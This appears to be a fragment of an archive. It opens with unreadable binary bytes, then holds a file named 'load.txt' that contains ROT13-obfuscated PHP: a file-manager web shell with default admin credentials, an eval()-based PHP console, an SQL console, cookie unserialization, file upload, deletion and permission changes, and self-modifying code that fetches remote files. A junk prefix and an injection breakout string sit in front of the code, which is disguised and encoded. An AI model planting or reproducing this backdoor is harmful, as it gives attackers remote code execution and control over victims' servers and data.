�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��HPKd
[�	��A�A931753/load.txtnu�[���rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
